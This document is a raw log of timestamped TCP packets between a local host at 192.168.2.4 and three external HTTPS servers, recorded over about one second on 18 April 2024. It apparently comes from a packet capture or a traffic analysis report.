Apr 18, 2024 00:28:00.379462957 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.379540920 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.379630089 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.379750013 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.379822016 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.379889011 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.379951954 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.379987001 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.380152941 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.380189896 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.608153105 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.608465910 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.608501911 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.610140085 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.610228062 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.611231089 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.611327887 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.611453056 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.611469030 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.619781971 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.619992018 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.620026112 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.621668100 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.621758938 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.622529984 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.622632980 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.651556969 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.667515039 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.667534113 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.713841915 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.963073969 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963114977 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963148117 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963181019 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963205099 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963238001 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963258028 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963294029 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.963294029 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.963294029 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.963359118 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963413954 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.963711977 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963771105 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963835955 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:00.963965893 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.963967085 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.981869936 CEST	49735	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:00.981929064 CEST	443	49735	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.028939962 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.029266119 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.029305935 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.029369116 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.029659033 CEST	49740	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.029738903 CEST	443	49740	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.029810905 CEST	49740	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.029922009 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.029941082 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.030102015 CEST	49740	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.030142069 CEST	443	49740	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.076114893 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.158548117 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.158623934 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.158705950 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.158770084 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.158778906 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.158826113 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.160341024 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.160361052 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.160701036 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.160715103 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.218333960 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.218451023 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.218522072 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.218539000 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.218566895 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.218615055 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.218889952 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.219033957 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.219079971 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.219103098 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.219187975 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.219257116 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.219273090 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.219356060 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.219409943 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.219422102 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.219500065 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.219547033 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.219558954 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.219875097 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.219938993 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.219950914 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.220031977 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.220077038 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.220088959 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.220194101 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.220241070 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.220253944 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.220339060 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.220381021 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.220392942 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.220885038 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.220967054 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.220968962 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.220993042 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.221036911 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.221076965 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.221905947 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.221970081 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.221982956 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.222059011 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.222103119 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.222115040 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.222189903 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.222238064 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.222249985 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.222414970 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.222456932 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.222470999 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.222556114 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.222604990 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.222616911 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.222688913 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.222737074 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.222748995 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.223486900 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.223536015 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.223546982 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.223619938 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.223664045 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.223675013 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.224534035 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.224606991 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.224620104 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.247400045 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.247840881 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.247865915 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.248356104 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.250014067 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.250097990 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.250579119 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.254447937 CEST	443	49740	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.254920959 CEST	49740	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.254957914 CEST	443	49740	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.255454063 CEST	443	49740	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.256402969 CEST	49740	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.256494045 CEST	443	49740	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.259140968 CEST	49740	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.273943901 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.296114922 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.304122925 CEST	443	49740	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.321902990 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.321937084 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.321971893 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.323224068 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.323288918 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.323306084 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.323928118 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.323991060 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.324003935 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.324053049 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.324058056 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.324085951 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.324112892 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.324733019 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.324805021 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.324819088 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.324853897 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.324875116 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.324893951 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.324918032 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.325728893 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.325840950 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.325841904 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.325874090 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.325911999 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.326491117 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.326558113 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.326570034 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.326591969 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.326611042 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.326627970 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.326652050 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.327477932 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.327542067 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.327554941 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.327577114 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.327595949 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.327613115 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.327640057 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.328397036 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.328464985 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.328476906 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.328519106 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.328531027 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.328619003 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.328676939 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.329437017 CEST	49736	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.329462051 CEST	443	49736	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.391839981 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.392232895 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.392246962 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.393251896 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.393459082 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.393466949 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.393846035 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.393918037 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.395088911 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.395147085 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.395409107 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.395502090 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.395792007 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.395806074 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.397727013 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.397955894 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.398026943 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.398035049 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.443310022 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.443352938 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.585278988 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.585362911 CEST	443	49740	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.585386992 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.585434914 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.585458994 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.585551977 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.585575104 CEST	443	49740	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.585597038 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.585606098 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.585633993 CEST	49740	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.585712910 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.585753918 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.585763931 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.585850954 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.585894108 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.585902929 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.586004019 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.586045980 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.586054087 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.586144924 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.586190939 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.586199999 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.586291075 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.586333990 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.586343050 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.586436033 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.586482048 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.586489916 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.587378025 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.587431908 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.587440014 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.587539911 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.587589979 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.587598085 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.587690115 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.587735891 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.587744951 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.587837934 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.587882996 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.587891102 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.587980986 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.588023901 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.589586020 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.604221106 CEST	49740	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.604254007 CEST	443	49740	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.606046915 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.606069088 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.606112003 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.606224060 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.606225014 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.606225014 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.606296062 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.606338024 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.606370926 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.612415075 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.612490892 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.612581015 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.613697052 CEST	49746	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.613733053 CEST	443	49746	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.616429090 CEST	49739	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.616444111 CEST	443	49739	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.626771927 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.626831055 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.626856089 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.626924038 CEST	443	49743	151.101.130.137	192.168.2.4
Apr 18, 2024 00:28:01.626962900 CEST	49743	443	192.168.2.4	151.101.130.137
Apr 18, 2024 00:28:01.635952950 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.635994911 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.636066914 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.636574030 CEST	49747	443	192.168.2.4	172.67.137.170
Apr 18, 2024 00:28:01.636604071 CEST	443	49747	172.67.137.170	192.168.2.4
Apr 18, 2024 00:28:01.646768093 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.646920919 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.646969080 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.646980047 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647064924 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647111893 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.647119045 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647200108 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647253990 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.647260904 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647356987 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647406101 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.647413969 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647507906 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647552967 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.647561073 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647639036 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647686005 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.647694111 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647794008 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647835016 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.647841930 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647939920 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.647984982 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.647993088 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.648077011 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.648123980 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.648130894 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.648797989 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.648855925 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.648864031 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.648967981 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.649009943 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.649018049 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.649293900 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.649404049 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.649437904 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.649446011 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.649485111 CEST	49744	443	192.168.2.4	104.18.10.207
Apr 18, 2024 00:28:01.649493933 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.649616957 CEST	443	49744	104.18.10.207	192.168.2.4
Apr 18, 2024 00:28:01.649662971 CEST	49744	443	192.168.2.4	104.18.10.207
